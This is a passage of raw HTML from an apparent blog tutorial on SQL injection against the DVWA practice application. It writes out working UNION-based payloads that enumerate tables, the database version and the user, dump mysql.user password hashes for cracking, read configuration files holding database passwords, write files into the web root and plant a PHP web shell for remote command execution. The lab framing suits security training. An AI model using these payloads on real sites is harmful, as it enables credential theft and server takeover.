color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;em&gt;&lt;strong&gt;a’ UNION SELECT table_schema, table_name FROM information_schema.tables;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;The loop will display all of the returned rows – not just the first one. By omitting the WHERE/LIKE portion, we are able to see all of the results.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Find the current SQL Version"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Find the current SQL Version&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ UNION ALL SELECT 1, @@version;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;ID: a’ UNION ALL SELECT 1, @@version;#&lt;br /&gt;First name: 1&lt;br /&gt;Surname: 5.1.41&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Here we can see that the current version number is&lt;/span&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;5.&lt;/span&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;1.41.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Find the current database user"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Find the current database user:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ UNION ALL SELECT system_user(),user();#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Result: ID: a’ UNION ALL SELECT 1, user();#&lt;br /&gt;First name: root@localhost&lt;br /&gt;Surname: root@localhost&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="List Password Hashes"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;List Password Hashes:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;1′ UNION ALL SELECT user, password FROM mysql.user; — priv;#’&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;This will hopefully display a password hash that can then be cracked with John the Ripper or other password crackers. This could be usefully for many things. If this works, check to see if they have a database management program such as PHPmyAdmin – log in with what you found (and cracked).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Reading arbitrary files"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Reading arbitrary files:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;em&gt;&lt;strong&gt;‘ UNION ALL SELECT load_file(‘C:\\xampp\\htdocs\\dvwa\\.htaccess’), ’1&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;This should show us the .htaccess file. We could of course, read any file that the SQL server has read rights to. You could check for .htpasswd, or some other file that contains sensitive information. PHP files that access a SQL database will often have the database password (likely in plain text) listed in the file. SQL injection will allow us to view the .php file without the php first being interpreted by the server.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘ UNION ALL SELECT load_file(‘C:\\xampp\\htdocs\\dvwa\\config\\config.inc.php’), ’1&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;This works without error, but there is nothing printed to the screen. If you view the page source however, you should find something interesting.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Writing arbitrary files"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Writing arbitrary files:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘UNION SELECT ‘test’, ’123′ INTO OUTFILE ‘testing1.txt&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;‘”&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;The command will likely return a few warnings – look closely, these could contain file paths that give us an idea of the web root location on the server…If all goes well, you should see a file named testing1.txt in the SQL data path. (If you are using Xampp on Windows, it should be&amp;nbsp;&lt;span style="color: black;"&gt;some&lt;/span&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;thing&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;like C:\xampp\mysql\data\dvwa\testing1.txt). Let’s try to write a file accessible to the web.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘UNION SELECT ‘test’, ’123′ INTO OUTFILE ‘c:\\xampp\\htdocs\\testing2.txt&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Now, point your web browser to “http://[web root]/testing2.txt”. What do you see…..it’s our OUTFILE! This means that the attacker has the ability to change existing web pages via SQL injection. This means, you can add your own pages to the site. It may also mean that we can execute remote code…&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Remote Code execution"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Remote Code execution:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘ UNION SELECT ”, ‘’ INTO OUTFILE ‘C:\\xampp\\htdocs\\dvwa\\shell.php’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Now point your browser to&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://[web root]/dvwa/shell.php?cmd=dir&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;. Game over! We have just run a command on the remote server. From here we could download and run files (backdoor, keylogger, etc…), change system settings, add system users, etc…&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Note that if you try and change the directory, it will not remember the next time you run the command. Each time it is a new process. To find out what directory your are in, use the remote shell to execute the command ‘echo %25CD%25 ‘&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Getting around escaped characters:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;So far we have been using DVWA on the low security setting. Click on the “DVWA Security” tab on the left side of the DVWA webpage. Change the settings to medium and click Submit. Go back to “SQL Injeciton” and try an injection phrase that checks for the handling of quotes.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;O’Malley’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; 